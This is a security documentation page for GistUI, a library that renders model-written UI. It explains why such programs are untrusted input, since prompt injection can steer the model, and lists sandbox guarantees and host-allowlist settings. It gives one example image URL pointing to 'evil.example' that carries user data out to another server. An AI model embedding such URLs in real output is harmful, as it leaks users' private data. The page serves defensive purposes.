---
title: "Security"
description: "The threat model for rendering model-written UI, what GistUI guarantees, and what you must configure yourself."
---

> Documentation Index
> Fetch the complete documentation index at: https://gistui.com/docs/llms.txt
> Use this file to discover all available pages before exploring further.

# Security

A GistUI program is **untrusted input**. A model wrote it, and the model may have been steered by content it read: a web page, an email, a document. Treat a program the way a browser treats a web page from a stranger.

## What a program cannot do

| | |
|---|---|
| **Run code** | Expressions are interpreted by a small evaluator. Nothing is compiled or passed to `eval` or `new Function`, so a strict Content-Security-Policy works. |
| **Insert HTML** | Strings are text. Markdown is rendered without raw HTML. |
| **Change anything by being shown** | Rendering calls only read-only `tools`. `mutations` run only on a button press. |
| **Open arbitrary URL schemes** | `@open` and links allow http, https, mailto and tel only. |
| **Run without bound** | Nesting, node counts, loop sizes, evaluation steps, timers and tool calls all have limits. |

## What you must configure

### Keep read and write apart

Put a function under `tools` only if calling it changes nothing. A query may run the moment the UI renders, with arguments the program chose. Anything with a side effect goes under `mutations`. See [Tools and live data](/docs/guides/tools-and-data/).

### Limit where media loads from

An image URL can carry data to another server without a click: `https://evil.example/p.png?d=<your data>`. When the model sees private data, set `allowedHosts`.

```tsx
<GistUI allowedHosts={["cdn.example.com", "*.example.com"]} />
```

| `allowedHosts` | A URL the program wrote out | A URL the program assembled from data |
|---|---|---|
| not set | loads from any host | **not loaded** |
| set | loads only from listed hosts | loads only from listed hosts |

Relative URLs and your own host always load. A refused URL is reported as `blocked-url`.

### Favicons

`Source` cards can show site icons. It is off by default, because each icon is a request to a third-party service for every cited site. `favicons={true}` uses a public service; a string is your own URL with `{host}`.

### Check tool calls

`onToolCall(call)` runs before every tool call with `{ name, args, kind, nodeId }`. Return `false` to block it. Use it to log, to validate arguments, or to ask the person first.

### Validate on the server

A form's `values` were validated in the browser. Validate them again on your server with the `schema` that comes with the submit. See [Actions and forms](/docs/guides/actions-and-forms/).

### Mark messages that come from the UI

When a button's text goes back to the model as the next message, the model should know a program chose that text, not the person. `@gistui/chat` wraps such messages (`origin: "ui"`). If you build the loop yourself, do the same.

### Tokens are trusted

`tokens` and `darkTokens` are inserted into CSS. Build them from your own code only, never from model output or user input.

## API keys

Call models from your server. The chat adapters accept an `apiKey` for local prototypes and warn in the console when one is used in a browser.

## Reporting a vulnerability

Please report security problems privately through the repository's [security advisories](https://github.com/GistUI/GistUI/security/advisories), not in a public issue.

The normative version of these rules is section 23 of the format specification: see [Protocol: the format](/docs/protocol/format/#security).

Source: https://gistui.com/docs/guides/security/index.mdx
